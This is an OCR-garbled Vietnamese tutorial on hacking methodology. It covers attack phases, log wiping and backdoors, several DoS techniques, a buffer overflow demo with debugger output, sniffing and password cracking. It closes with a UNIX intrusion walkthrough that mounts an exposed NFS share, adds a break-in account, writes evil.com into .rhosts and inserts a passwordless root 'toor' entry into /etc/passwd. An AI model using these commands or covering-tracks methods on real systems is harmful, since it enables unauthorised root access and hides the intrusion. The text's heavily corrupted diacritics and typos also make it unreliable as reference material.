trinh hacker tu thiét ké.

c¢. Eumeration:

Budc thit ba I1a tim ti€ém nhitng tai nguyén duoc bao vé kém, hoac tai khoan
ngudi dung ma c6 thé sir dung dé xam nhap. N6 bao gom cdc mat khau mic
dinh, céc script stt dung dé€ xam nhap. Rat nhiéu ngudi quan tri mang khong biét
hoic khong stra d6i lai céc gia tri nay (do trinh do vé bdo mat con han ché day la
nhiing diém yé&u hacker c6 thé 1oi dung).

d. Gaining Access:

Bay gio ké xam nhap s€ tim cach truy cap vao mang bing nhiing thong tin ¢
dugc & ba budc trén. Phuong phap nay duoc sir dung & day c6 thé tan cong vao
16i tran bo dém, 14y va giai ma file password, hay ding brute force (ki€ém tra tat
ca cac truong hop) password. Cac cong cu thuong dugc st dung & budc nay la
NAT, podium...

e. Escalating Privileges (leo thang dac quyén):
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Vi du trong truong hop hacker xam nhap dugc vao mang véi tai khoan guest,
thi ho s& tim cdch kiém sodt toan by hé thong. Hacker sé tim cdch crack
password cuia nan nhén, hodc sir dung 16 héng dé leo thang diac quyén. John va
Riper 1a hai chuong trinh crack rat hay dugc st dung.

f. Pilfering:

Thém mot 14n nita cdc mdy tim ki€m lai dugc sir dung dé€ tim cac phuong phép
truy cap vao mang. Nhiing file text chita password hay co ch€ khong an toan
khac c6 thé 1a diém yéu cho hacker tan dung.

g. Covering Tracks:

Sau khi da c6 thong tin can thiét, hacker tim cach xod dau vét, xoa cac file
log ctia hé diéu hanh lam cho ngudi quan ly khong nhan ra hé thdng da bi xam
nhap hoac c6 biét cling khong tim ra ké xam nhap la ai.

bay Ia budc cuc ky quan trong déi v6i mot hacker néu anh ta khong mudn
minh bi tém. St dung cong nghé: Clear logs, hide tools. Nhitng cong cu: Zap,
Eventlog GUI, rootkits, file streaming thuong hay dugc st dung cho muc dich
nay.

h. Creating “Back Doors”:

Hacker dé lai “Back Door” (ctta sau), tiic 1a mot co ché cho phép hacker truy
cép trd lai bang con dudong bi mat khong phai tén nhi€u cong stc hack lai. Muon
tao clra sau thuong hacker cai dat Trojan 1én trén mday dot nhap hoac tao mot
user méi ( d6i vdi t6 chic c6 nhiéu user). Cong cu hay ding & day 1a cac loai
Trojan Back door da gidi thiéu & phan trén hoac keylog...

i. Denial of Service (DOS: tan cong tir choi dich vu).

Néu khong thanh cong trong viéc xam nhap, thi DOS la phuong phap cuoi
cung hacker ding dé tdn cong hé thong. Néu hé thong khong duoc ciu hinh
ding cach, né sé bi pha v va cho phép hacker xam nhap hé thong. Hoac DOS s€
lam cho hé thong khong hoat dong dugc nita. Nguyén ly cua tan cong DOS nhu
sau:

Tdn cong bang tir chéi dich vu — DoS Attack la gi?
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Thuc chét clia tdn cong bang tixr chdi dich vu 12 hacker s& chiém dung mot
luong 16n tai nguyén trén server, tai nguyén c6 thé 1a bang thong, bo nhé, CPU,
dia cting va cdc dit liéu ndm trén no... 1am cho server khong thé nao ddp ung cac
yéu ciu khac tir cdc clients ctia nhitng ngudi ding binh thudng va c¢é thé nhanh
chéng bi ngling hoat dong, d6 vd hoac khdi dong lai.

Mot so dang tdan cong ti choi dich vu

C6 rat nhiéu kiéu tdn cong bing tir ch6i dich vu, bao gém tan cong tir bén
ngoai va tan cong tir mang noi bo bén trong. & day chi dé cap dén mot s6 dang
tan cong tr choi dich vu thuong gap.

Ping of Death

Mot s6 mdy tinh s& ngung hoat dong, khoi dong lai hodac d6 vo khi goi gbi
data ping véi kich thuéc 16n dén chiing
Vi du: C:\>ping —1 655540
Teardrop

Tat ca cdc dit liéu chuyén di trén mang tir hé thong nguén dén hé thong dich
déu phai trai qua 2 qua trinh sau: dit liéu s€ duoc chia ra thanh cdc manh nhé &
hé thong nguén, méi manh déu phai c6 mot gia tri offset nhat dinh dé x4c dinh
vi tri cia manh d6 trong goéi dit liéu dugc truyén di. Khi cic manh nay dén hé
thong dich, hé thong dich s& dua vao gid tri offset dé€ sip x&p cadc manh lai véi
nhau theo thit tu ding nhu ban dau. Vi du, ¢6 moét dit liéu gom 4000 bytes can
duoc chuyén di, gia st né duoc chia thanh 3 g6i nho (packet):

Packet thit nhat 16n khoang 1500byte chay tir 1 dén 1500 byte

Packet thit 2 tir 1501 dén 3000byte

Packet thit 3 s€ 1a doan dit liéu con lai, tir 3001 dén 4000
Khi cdc packet nay dén dich, hé thong dich sé dua vao offset clia cac goi packet
nay dé sap xép lai cho ding véi thit tu ban dau:
Packet 1 = packet 2 = packet 3
Trong tan cong Teardrop, mot loat géi packet véi gia tri offset chong chéo 1én

nhau duoc gdi tir hé thong nguén. Hé thong dich s& khong thé nao sip xép lai
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cac packet nay, né khong diéu khién dugc va cé thé bi roi loan, reboot hoic
nglng hoat dong néu s6 lugng packet véi gia tri offset chong chéo 1én nhau qua
16n.

Hay xem lai vi du trén, ding ra cac packet dugc gtri dén hé thong dich c6 dang
nhu sau: (1..1500 byte dau tién) = (1501..3000 byte ti€p theo) = (3001..4000
byte sau cung), trong tdn cong Teardrop s€ c6 dang khac: (1..1500
byte)=>(1501..3000byte)—> (1001..4000byte). Hay dé y packet thit 3 c6 lugng dit
liéu sai.

SYB Attack.

Trudc hét, ta hdy cling xem lai tién trinh bat tay 3 budc cha mot két noi
TCP/IP. M6t client mu6n két ndi d€n mot host khac trén mang.

Budce 1: client gbi mot SYN packet v6i s6 Sequence Number ban dau (ISN) dén
host can két néi:

Client ------- > SYN packet ------ > Host
Budc 2: Host sé phan hoi lai client bang mot SYN/ACK packet, ACK ctia packet
nay c6 gia tri ding bang ISN ban diu do client di glii dén host & budc 1 va cho
nhan mot ACK packet tur client:

Host ----- > SYN/ACK packet ----- > client
Budc 3: client phan héi lai host bing mot ACK packet

Client ----- > ACK packet ----- > Host.

Khi Host nhan duoc ACK packet nay thi két noi dugc thiét 1ap, client va host c6
thé trao déi c4c dit liéu cho nhau.

Trong SYN Attack, hacker s€ gtri dé€n hé thong dich mot loat SYN packet v6i
dia chi IP ngu6n khong c6 thuc. Hé thong dich khi nhan dugc dugc cic bad SYN
packet nay s€ gui tra lai SYN/ACK packet dén cac dia chi khong c6 thuc nay va
cho nhan dugc ACK packet tir cac dia chi IP d6. Vi day la cac dia chi IP khong
c6 thuc, hé théng dich sé cho doi vo ich va con noi dudi cac “request” cho doi
nay vao hang doi, gay lang phi mot luong dang ké bo nhé trén mdy chii ma diing

ra 1a phai dung vao viéc khac thay cho phai cho doi ACK packet
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Lan Attack

Lan Attack ciing gan giong nhu SYN Attack, nhung thay vi dung cac dia chi
IP khong c6 thuc, hacker s& ding chinh dia chi IP cta hé théng nan nhan. Diéu
nay s€ tao nén mot vong lap vo tan trong hé thong nan nhan, giita mot bén can
nhan ACK packet con mot bén thi ching bao gid glti ACK. Tuy nhién, hau hét
céc hé thong déu dung filter hodc firewall d€ tranh khoi kiéu tdn cong nay.
Winnuke

DoS attack ndy chi c6 thé 4p dung cho cidc mdy tinh dang chay WinOx.
Hacker s& glii cdc packet vé6i dit lieu “Out of Band” dén cong 139 dich. Cong
139 chinh 1a c6ng NetBIOS, cong nay chi chdp nhan cdc packet ¢6 cd OOB (out
of bank) dugc bat. Khi mdy tinh dich nhan dugc packet nay, mot man hinh xanh
bdo 16i s€ hién Ién mdy tinh nan nhén, tuy nhién né lai khong biét dugc can phai
do6i xuir v6i cac dit lieu OOB nay nhu thé nao dan dén hé thdng bi r6i loan.

Smurf Attack

Hai nhan t6 chinh trong Smuft Attack la caic ICMP echo request packet va
chuyén truc ti€p cc packet dén cdc dia chi Broadcast.
+ Giao thiic ICMP thudng ding dé xac dinh mot mdy tinh trén mang Internet c6
con hoat dong (alive) hay khong. Dé xac dinh mot may c6 alive khong ban cén
gui mot ICMP echo request dén may d6. Khi may nhan dugc packet nay, né s€
gui tra lai ta mot ICMP eche reply packet. Trong truong hop nay néu khong nhan
duoc ICMP echo reply packet, di€u nay c6 nghia 1a may d6 khong con hoat dong
(not alive). Day ciling chinh la cach hoat dong cua cac chuong trinh ping.
+ M6i mang mdy tinh déu cé dia chi dia chi broadcast va dia chi mang. Dia chi
broadcast ¢6 céc bit host déu bang 0 va dia chi broadcast ¢6 cac bit host déu
bang 1. Vi du dia chi IP 16p B 140.179.220.200 s& c6 dia chi broadcast mic dinh
la 140.179.0.0. Khi mot packet duoc gbi dén dia chi broadcast, 1ap tic packet

ndy s& duoc chuyén dén tit ca cdc mdy trong mang.

ICMP ECHO reguest

If alive and not filtered — ICMP ECHO
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R = ICME Echo Request(s) Broadcast Address
Metowrk Address

Trong Smurf Attack, can c6 ba thanh phan: hacker (nguoi ra 1énh tan cong),
mang khuéch dai (s€ nghe l1énh cua hacker) va hé thong nan nhan. Hacker s€ gui
cdc ICMP echo request packet dé€n dia chi broadcast cia mang khuéch dai. Diéu
dac biét 1a cic ICMP echo request packet nay c6 dia chi IP nguon chinh 1a dia
chi IP ctia nan nhan. khi cac packet d6 dén dugc dia chi broadcast ciia mang
khuéch dai, 1ap tdc tit ca cdc may tinh trong mang khuéch dai s€ nhan duoc cac
packet nay. Cdc mdy ndy tudng ring mdy tinh nan nhan da gli ICMP echo
request packet dén ( do hacker da lam gia dia chi IP nguon), l1ap tdc ching sé
dong loat gt tra lai hé thong nan nhan cac ICMP reply echo request packet. Hé
thong mdy nan nhan s& khong chiu néi mot khoi luong khéng 16 céc packet nay
va nhanh chéng bi ngiing hoat dong (crash) hodc reboot. Nhu vy, ban c6 thé
thay rang hacker chi can glii mot luong nhéd cdc ICMP echo request packet di, va
hé thong mang khuéch dai s€ khuéch dai lugng ICMP echo request packet nay
lén gap boi. Ti 1é khuéch dai phu thudc vao s6 mang tinh c6 trong mang khuéch
dai. Nhiém vu ctia cdc hacker 1a c¢6 chi€m duoc cang nhiéu hé thong mang hoic
routers cho phép chuyén truc ti€p cdc packet dén dia chi broadcast va khong loc
dia chi nguén ctia cic outgoing packet. C6 duoc cac hé thong nay, hacker sé€ dé

dang ti€n hanh Smurf Attack trén hé thong can tin cong.
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UDP Flooding

Ngap lut UDP doi hoi phai c¢6 hai hé théng may cung tham gia. Hacker s€
lam cho hé théng di vao mot vong lap trao déi cac dit lieu vo ich qua giao thic
UDP. Hacker ¢6 thé gia mao dia chi IP cua cic packet 1a dia chi loopback
(127.0.0.1), glri packet nay dén hé thong ciia nan nhan trén céng UDP echo(7).
Hé thong ctia nan nhan sé echo lai cdc messages do 127.0.0.1 (chinh né) gti dén,
két qua 1a n6 s€ di vong mot vong 1ap echo vo tan. Tuy nhién, nhi€u hé thong sé
khong cho dung dia chi loopback. Hacker sé gia mao mot dia chi IP cua may
tinh nao dé trén mang nan nhan va tién hanh ngap lut UDP trén hé théng clia nan
nhan.

Tan cong DNS

Hacker c6 thé d6i mot entry trén Domain Name Server ciia hé thong nan nhan
chi dén mot website nao dé cta hacker. Khi client yéu cau DNS phéan tich dia chi

www.company.com thanh dia chi IP, 1ap tic DNS (da bi hacker thay déi cache

tam thoi) s& déi thanh dia chi IP cia www.hacker.com. Két qua 1a thay vi phai

vao http://www.company.com/ thi cdc nan nhan sé vao http://www.hacker.com/.

Mot cach tin cong tir choi dich vu that hitu hiéu.
Distributed DoS Attacks

Phuong phép tdn cong DoS hay con goi la DDoS yéu cau phai ¢6 it nhat vai
hacker cuing tham gia. Pau tién cac hacker s€ ¢6 tham nhap vao cic mang may
tinh dugc bao mat kém, sau dé cai 1én cac hé thong nay chuong trinh DDoS

Server. Bay gio ciac hacker s€ hen nhau dén thoi gian da dinh s€ dung DDoS
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client két noi dén ciac DDoS server, sau d6 dong loat ra 1énh cho cdc DDoS
server nay tién hanh tan cong DDoS dén hé thong nan nhan.

Cac cong cu DDoS Attack

Hién nay c6 hai cong cu ma cdc hacker thudong diung dé tién hanh DDoS
Attack. D6 1a Tribe Flood Network (TFN2K) va Stacheldraht. Stacheldraht manh
hon TF2K, dung TCP va ICMP ECHO_REPLY, khong dung UDP nhung cé

thém chic nang bao mat rat dang tin cay.

III - NHUNG LOI CUA HE PIEU HANH MA HACKER CO THE KHAI
THAC.

1. Loi tran bo dém
Pé tim hiéu chi tiét vé 16i tran bo dém, co ché hoat dong va cdch khai thac 16i
ta hay bat ddu bang mot vi du vé chuong trinh bi tran bo dém.
/* vuln.c */
int main(int argc, char **argv)
{
char buf[16];
if (arge>1) {
strcpy(buf, argv[1]);
printf("%s\n", buf);
}

}
[SkZ0@gamma bof]$ gcc -o vuln -g vuln.c

[SkZO@gamma bof]$ ./vuin AAAAAAAA // 8 ky tw A (1)

AAAAAAAA

[SkZ0@gamma bof]$ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /]
24 ky tw A (2)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault (core dumped)
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Chay chuong trinh vuln véi tham s6 1a chubi dai 8 ky tu A (1), chuong
trinh hoat dong binh thudng. Vé6i tham s6 1a chudi dai 24 ky tu A (2) chuong
trinh bi 101 Segmentation fault (core dumped) . D€ thay bd dém buf trong chuong
trinh chi chira dugc t6i da 16 ky tu da bi lam tran bai 24 ky tu A

[SkZ0@gamma bof]$ gdb vuln -c core -q

Core was generated by “.Ivuln

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so0.6...done.

Reading symbols from /lib/Id-linux.so.2...done.

#0 0x41414141in ?? ()

(gdb) info register eip

eip 0x41414141 1094795585

(gdb)

Thanh ghi eip —con trd 1énh hién hanh — ¢6 gia tri 0x41414141, tuong duong
‘AAAA’ (ky tu A c6 gid tri 0x41 hexa). Ta thay, c6 thé thay déi gid tri cia thanh
ghi con tr6 1énh eip bang cdch 1am tran bo dém buf. Khi 16i tran bo dém da xay
ra, ta c6 thé khién chuong trinh thuc thi ma lénh tuy y bang cdch thay ddi con tro
lénh eip dén dia chi bat dau doan ma lénh d6. Tur d6, 1oi dung diéu nay hacker st
dung 16i tran bo dém diéu khién con tr6 lénh vdo doan ma chuong trinh do
hacker tao ra phuc vu vao mot muc dich nao do.

Da phan céc 16i tran bo dém dan dén viéc chiém quyén diéu khién khién toan
bo hé thong nén day thuc su 1a mot 16i chét nguoi. Tran bo dém xday ra trén nhicu
hé diéu hanh, dac biét 1a trén UNIX va windows, va trén nhiéu ting dung khéc
nhau nhu web, mail, ftp, dns, telnet, ssh, database.... Thang 8-2001, sau may
tinh code red da khién th€ gi6i thiét hai hang ti USD ciing bat ngudn tir mot 16
héng tran bo dém trong phin mém may chii Microsoft Internet information
server (IIS). Qua chuong trinh vi du trén ta da biét tran bo dém la nhu thé€ nao,
chiing ta s& dé cap dén mot loai tran bo dém thudng gap nhat goi 1a ‘tran bo dém

stack’. Nhu véi vi du trén chuong trinh yéu cau nhap vao t6i da 8 ky tu, nhung ta
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nhap t6i 24 ky tu va chuong trinh khong kiém tra diéu nay dan dén tran bo dém
xdy ra. Vi chuong trinh may tinh cin khong gian dé Iuu trit nhitng byte du ra, nd
s€ chira Ién nhitng ving nhé k€ canh va ghi d¢ 1én nhitng dit liéu cé san tai do.
Con c6 mot bo dém khéc trén bo nhé mdy tinh ding dé€ Iuu trit dia chi cho Iénh
may ké ti€p s€ duoc thuc thi sau khi goi ham. Vung nhé nay duogc cip phap trén
stack va duoc goi la con tro 1énh (instruction pointer). Ti€p tuc vi du trén, hacker
lam tran bd dém sao cho con tro 1énh sé tro dén mot doan ma tao ra mot giao ti€p
dong Iénh (command line, vi du /bin/sh). Sau khi chuong trinh thuc hién lam tran
bo dém, né s& tim dén dia chi doan ma trén dé thuc thi ti€p. Néu chuong trinh
duoc chay dudi quyén ctia ngudi quan tri (root), hacker da c6 mot giao ti€p dong
lénh v6i quyén tuong duong va c6 thé diéu khién toan bo hé thong. Dé khai thac
dugc 16 héng tran bo dém can c6 mot s6 kién thic vé 1ap trinh C, hop ngit va
cong cu gd roi (debug). C6 vé kha nhiéu, tuy nhién véi nhiing tai liéu da cong bo
rong réi, di kém d6 1a cdc cong vu hé trg va thong tin trén internet ngay cang
nhiéu, viéc khai thdc 16 hong tré nén dé dang hon. Nhiing gi x4y ra 1a: mot nguoi
nao do6 cd kién thitc va thanh thao k§ thuat tao ra chuong trinh khai thac 16i tran
bo dém, cong bd nd trén internet trude khi chiing lot vao tay nhiéu ké tdn cong
khac.

Tai sao van ton tai 16i tran bo dém va lam thé ndo dé ngan chan?

Da phan 16i tran bo dém ton tai 1a do théi quen lap trinh t6i, dic biét 1a doi
véi cac chuong trinh duoc viét bang ngon ngit C (ngon ngit 1ap trinh phd bién
hién nay). Khi chuong trinh yéu cau dit liéu nhap c6 kich thudc t6i da hoac sao
chép mot mang sang mang khac, cin phai c6 su cip phét hop 1y dé khong vuot
qud gi6i han vé kich thudc. Diéu nay goi 1a “kiém tra giGi han” (bounds
checking). Ngon ngit C cung cap nhiéu ham thu vién khong thuc hién viéc ki€ém
tra giGi han, vi du nhu strcpy(), strcat(), sprinf(). Cac lap trinh vién st dung cac
ham nay ma khong thuc hién kiém tra giGi han ndo khdc chinh 1a nguyén nhan
gay 16i tran bo dém. Thé thi tai sao khong viét cdc phan mém c6 kiém tra giGi

han ddy du? Nghe c6 vé dé dang. Tuy nhién, mot s6 1ap trinh vién khong quan
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tam dén viéc kiém tra giGi han. mot s6 khac khong muon st dung vi né ¢6 thé
lam giam t6c do x{r 1y ctia chuong trinh. Mot 1y do nita 1a 16i tran bo dém chi
mdi dugc biét dén rong rai trong khoang 7 nam trd lai day, trong khi d6 cé nhi€u
phan mém k¢€ thira (6 dang thu vién lap trinh) da duoc viét tir trude, khi cac lap
trinh vién con chua nhan thitc duogc viéc kiém tra gi6i han 12 bat buoc. Pa phan
cac phan mém nay khong duoc viét lai d€ dam bdo an toan hon, né chi duoc viét
lai khi phat hién ra 16 héng bao mat. Mot khi 16i tran bo dém duoc phat hién, cac
cong ty déu cung cap ban stra 16i, tuy nhién chuong trinh cé duoc stra 16i hay
khong con phu thudc vao nguoi quan tri hé thong c6 chiu cai dat né hay khong.

D6 ciing 1a 1y do tai sao 16i tran bd dém duoc nhiéu hacker nhom ngé dén.

2. Tan cong bang Sniffer.

Sniffer 12 chuong trinh cho phép chop tét ca cdc goi dit lieu dang chuyén qua
card mang ctiia mdy tinh. Cdc dif liéu d6 c6 thé 1a tén ngudi dung, mat khau, dir
liéu quan trong.

Card mang thuong lam viéc & ché do binh thuong, né sé bo qua tit ca cac goi
dit liéu c6 dia chi dich khong phai 1a may tinh ctia nay. Sniffer s€ dat card mang
ctia mdy tinh & ch€ do hon loan, nghia 1a card mang nay s€ chop tt ca cac goi dit
liéu khi di qua n6, sniffer sau dé sé ghi tat ca dit liéu nay vao file nhat ki. Ta hay
xem vi du sau:

friend bad dest

comp guy comp

your comp

>S>>A>>>> A>>>>>A
Nhin so d6, gia si mot géi dit licu duoc chuyén tir “your comp” dén “dest
com”. Di nhién, g6i dit liéu nay phai di qua “friend comp” va “bad guy” truéc
khi dén dugc “dest comp”. “Friend comp” khi nhan dugc géi di liéu nay, nd s€

bd qua vi dia chi IP dich khong trung véi dia chi IP cia may minh. Nhung “bad
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guy” da cai sin sniffer, “bad guy” s& chang bd qua bat cit dit liéu nao khi chuyén
qua card mang cta né. Néu “your comp” chuyén dén “dest comp” mat khau
khong duoc ma hod, “bad guy” ching mdy khé khan dé chop dugc mat khiu

N

nay.

3. Mat khau.

Mat khdu 1a nén méng ctia bao mat mdy tinh, mat khiu an toan, chic chan la
nén tang ctia mot chién lugc bao mat hiéu qua. Mat khau dam bao tinh truy cap
hop 1& ctia nguoi ding vao mot hé thong hay mang lam viéc. Dang tiéc di€u nay
khong phai bao gio cling ding. Mat khau thudng do ngudi st dung may tinh tu
dat. C4c tir, ky hiéu hay ngay thing nam dé dat mat khiu thuong c6 lién hé dén
thong tin cdc nhan ciia nguoi dat dé dé nhd. Véan dé 1a & day, nhiéu ngudi dung dat
su tién 1oi 1én trén tinh an toan, két qua 1a ho chon cdc mat khau kha don gian.
Diéu nay c6 thé gitp ho dé nhé khi diang nhap nhung ciing vi thé cdc hacker ciing
dé bé mat khau ctia ho hon. Hacker luon dd tim cdc mat xich yéu clia hé thong
mang dé tham nhap va rd rang cdch don gian va dé nhat 1a tim mot mat khau dé
doan. Tuyén phong thu bdo mat dau tién vi th€ trd thanh mot trong nhitng mat
xich y&u nhat. Nguoi quan tri hé théng c6 trach nhiém phai dam bao moi nguoi
dung luu tam dén su can thié€t va duy tri cdc mat khau an toan. C6 hai yéu cau
duoc dat ra & day: thit nhat, gido duc ngudi dung vé tim quan trong ctia mat khau
va cach dé dat mat khau an toan; thit hai, c6 cach danh gid dé dam bao mat khau
nguoi dung dat 1a hiéu qua. Cach hacker thuong hay st dung chuong trinh bé mat
khau (password-cracker). Cac kiéu bé mat khau dung tir dién (word-lists). Nhu tén
goi, moOt chuong trinh bé mat khau 12 mot cong cu dung dé “bé” (crack) hay tim ra
mot mat khiu. C4c chuong trinh bé mat khau dung nhiéu céch khac nhau dé thuc
hién diéu nay. Mot so cdc trinh bé mat khau dung nhiéu cich kh4c nhau dé thuc
hién diéu nay. Mot s6 cdc trinh bé mat khau sir dung ‘tir dién’, 1a mot danh sach
cdc tir, doan van hay két hop cdc mau tu, chit s6 va ky hiéu ma nguoi dung thuong

stt dung dé dat mat khau. Chuong trinh s& thir 14n luot ting tir v6i téc do cao cho
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dén khi tim thdy tir hay tap ky hiéu tring v6i mat khau. Trén 1y thuyét, néu thir di
mot s t6 hop va hodn vi, dén cu6i cling s& tim ra ding chubi céic ky tu da tao nén
mat khau. Néu mat khau tring v6i mot muc trong ‘tir di€n’, xem nhu né da bi bé.
Mot khi mat khau bi bé, hacker ¢ thé gia mao tu cdc ngudi dung hop phdp va cé
thé truy cap vao bat ci dir liéu nao ngudi ding d6 dugc phép. Nguy hiém hon,
hacker c6 thé ‘leo thang tdn cong’ theo cich nay dé chiém quyén diéu khién toan
bo hé thong mang. Mat khau duoc luu & dang ma hod dé khong thé ‘thdy duoc’
mot cac dé dang. D6i phé vé6i rao can nay, chuong trinh bé mat khau sir dung cling
mot giai thuat ma hoa dung dé ma hod mat khau, sau do duyét qua ‘tir dién’ dé so
sanh va tim ra su trung khép. Thir hang loat (brute-forcing) trong khi phuong phéap
‘tir di€n’ dua trén toc do va meo sap xép cac tir mot cac khon ngoan, phuong phap
bé mat khau thit hai lai dwa hoan toan trén nang luc tinh todn va su lap lai dugc goi
12 ‘thir hang loat” (brute forcing). Thir hang loat 1a dang bé mat khau chi don gian
dua trén so sdnh moi kha ning t6 hop va hoéan vi c6 thé ¢6 cua céac ky tu sdn c6
cho dén khi tim thdy tring khép véi mat khau. Phuong phdp nay rat manh va chic
chéin cu6i cing sé& bé dugc moi mat khiu, tuy nhién toc do thuc hién cuc ky cham
do phai thir tit ca moi t6 hop ky tu c6 thé ¢6. Vi du, chi v6i mot mat khau 3 ky tu,
qua trinh thir s€ phai trai qua cdc t6 hop: aaa, aab, aac..., aaA, aaB, aaC... aa0, aal,
aa2, aa3.... Méi t6 hop duoc qua mot giai thuat ma hod thich hop va so sanh véi
mat khau di luu tri cho dén khi tim dugc su tring khép. C6 thé thay, phuong phép
‘thtr hang loat’ khd cham va kém hon so véi str dung ‘tir di€n’. Tuy nhién, su triét
dé phuong nay c6 thé bu dip cho su han ché vé toc do. ‘Thir hang loat’ vin mang
lai hiéu qua do tim hét moi t6 hop va hodn vi cla ky tu, ké ca nhiing t6 hop vo
nghia nim ngoai kha niang dodn nhan ctia phuong phdp ‘tr dién’. N6i cach khac,
céc chuong trinh bé mat khau loai nay chi so sanh mat khau véi t6 hop cta cic ky
tu va ky hiéu da biét. Két hop giita ‘thir hang loat’ va ‘tir dién’ (brute-force and
wordlist hybrids). Mot s6 chuong trinh bé mat khau, nhu 10pht password crack,
stt dung phuong phap lai tap két hop gitta hai ky thuat trén. Cac chuong trinh nay

két hop céc diém t6t nhat cta ca hai phuwong phap va cho hiéu qua kha cao.
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Tam quan trong ciia mat khau an toan
Mot hé thong mang chi bao mat ngang bang véi mat xich yéu nhat trong hé thong.
Néu luon luu § dén diéu nay, cdc mat khau dé dodn céin phai bi loai bd trude khi
ching ‘md ctra’ cho hacker. Nguyén tic nay cang ding khi su xuét hién cla céac
chuong trinh bé mat khau giip cho cdc hacker ‘dodn’ cdc mat khau dé dang hon
nhiéu. Khong may, d6i véi da s6 nguoi dung binh thudong cé xu huéng dat mat
khau dé nhé hon 1a khé dodn. Ngudi quan tri hé thong c6 thé c6 nhing tiéu chudn
khac vé mat khau cho chinh ho so véi cac nguoi dung khdc. Do phai nhé nhiéu
mat khdu, ngudi quan tri thudng chon mat khau dé nhd, don gian cho nhiéu tng
dung. Diéu nay rd rang tao nén mot chudi cdc diém yéu nghiém trong vé bao mat.
Hon nita nguoi quan tri c6 kha nang bd qua cac cong cu nang cao tinh an toan cua
mat khau, néu ho chon vi muc dich tién lgi. Sau hét, ngudi quan tri ¢6 thé thudng
chon céch nhanh nhat khi cai dit cdc phdn mém hay thi€t bi va dé ngd cic ung
dung nay véi cdc mat khau mic dinh. Pay 1a mot 16i thuong xdy ra dén ndi trén
internet c6 cdc ‘kho’ luu trit tat ca mat khau mic dinh, v6i muc dich ban ddu 1a dé

gitip d& cdc nha quan tri, nhung c6 vé dé gitip cdc hacker nhiéu hon.

4. Tan cong Hé thong UNIX.

UNIX 1a mot hé diéu hanh mang ra doi vao nhitng nam 1965. UNIX 1a mot hé
diéu hanh da nhiém dau tién, né dugc coi 1a ¢6 tinh bao mat kha cao. Tuy nhién
trong qud trinh hoat dong mot s6 16 hong clia né da dugc phat hién. Ngay nay c6
rat nhiéu bién thé ctia UNIX nhu: Sco Unix, BSD, AIX, HP-UX, Solaris, Unix 64,
Linux..

a. Thu thap thong tin vé muc tiéu.

Muén tién cong hé thong nay hacker phai c6 gang thu nhit nhitng thong tin vé
muc tiéu ma hacker dinh tan cong. C6 rat nhiéu dich vu cho phép hacker thuc hién
diéu nay: finger, showmount, rpcinfo....Nhung khong dimg lai & d6, hacker c6 thé
dung DNS, Whois, sendmail (SMTP), FTP, UUCP.... Va nhiéu dich vu khéc nita.

Nhiing thong tin ma hacker can 1a nhitng thong tin vé Host, subnet, domain...
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Dé bat dau, hacker dung 1énh finger:
victim % finger @ victim.com
[victim.com]
Login  Name TTY Idle When Where
zen  Dr. Fubar co 1d Wed 08:00 death.com
Day 1a thong tin vé mot User, ¢6 vé nhu khong ai chd y dén thong tin nay sé gay
hai cho hé thong ctia minh.

Diéu ding chid ¥ nhat van 1a nhiing tén tai khoan, cdc thu muc cd nhan va host
ho dang nhap. D€ biét dugc nhitng thong tin nay, c6 thé st dung ruser (v6i tuy
chon -1) d€ c6 nhing thong tin hitu ich vé ngudi ding dang nhap. Viéc thuc hién
nhing Iénh ndy trén muc tiéu s& dé 16 ra nhitng thong tin sau:

Login Home-dir Shell  Last login from where
root / /bin/sh  Fri Nov 5 07:42  on ttypl from big.victim.com
ftp lhomelftp Never logged in

User: Tén nguoi dang nhap.

Home-dir: Thu muc cua nguoi do.

Shell: Shell 1énh ma nguoi dé su dung.

Last login: Thoi gian dang nhap.

From where: Vi tri dang nhap.

Cac thong tin trén tudng chiing nhu vo hai nhung néu né duge két hop véi cac
thong tin hay cac cong cu Hacking hitu ich khac thi né s€ tré 1én kha nguy
hiém.

Tiép d6 chay showmount dé liét ké cdc tai nguyén dung chung trén hé thong
can tan cong.

Evil % showmount -e victim.com

Export list for victim.com:

lexport (everyone)
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/var (everyone)

lusr easy
lexport/swap easy
lexport/foo easy

Hay chi y dén /export/foo dugc export ra ngoai va cling la thu muc cua
User Guest. Dau tién hacker s€ bé gy né. Trong truong hgp nay, hacker s€
mount thu muc cua User Guest. Khi hacker khong ¢6 mot tai khoan hop 1€ nao
tuong Gng trén hé thong can tdn cong va khi root khong cho phép modify céac
file 1én hé thong NFS. Hacker can tao mot acc “guest” trong tap tin passwd.
Nhu mot ngudi dung guest hacker ¢ thé dung rhost dit né vao thu muc khach
tlr xa ma sé cho hacker dang nhap dén dich ma khong can pass.
evil # mount victim.com:/export/foo [foo
evil # cd Ifoo
evil # Is -lag
total 3

1 drwxr-xr-x 11 root  daemon 512 Jun 19 09:47 .

1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..

1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
evil # echo guest:x:10001 :1 :temporary breakin account:/: >> |etc/passwd
evil # Is -lag
total 3

1 drwxr-xr-x 11 root  daemon 512 Jun 19 09:47 .

1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..

1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest
evil # su guest
evil % echo evil.com >> guest/.rhosts
evil % rlogin victim.com

Welcome to victim.com!
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victim %

Néu thay vao d6 la nhitng thu muc nguoi dung, va hé thong file dang duoc
export boi nhitng dong 1énh ctia nguoi dung (say, /usr or /usr/local/bin). Hacker
c6 thé thay thé Iénh bing mot chd ngua Trojan, né ¢ thé thuc hién bat cit Iénh
nao cua hacker.

Néu muc tiéu cé6 mot “+” dugc ddu gdp bén trong /etc/host.equiv. Bat ci
ngudi ding hop phap nao khong phai root ¢6 thé Rlogin dén muc tiéu ma khong
can pass. Tu nhitng nguoi dung “bin” thuong s& hitu key file va thu muc.
Hacker c6 thé loi dung so hd nay thir diang nhap dén muc tiéu, sira file
etc/passwd dé c6 quyén truy cap (root):
evil 9 whoami
bin
evil % rsh victim.com csh -i

Warning: no access to tty; thus no job control in this shell...
victim % s -ldg /etc
drwxr-sr-x 8 bin  staff 2048 Jul 24 18:02 /etc
victim % cd letc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victim % D
evil % rlogin victim.com -1 toor
Welcome to victim.com!
victim #

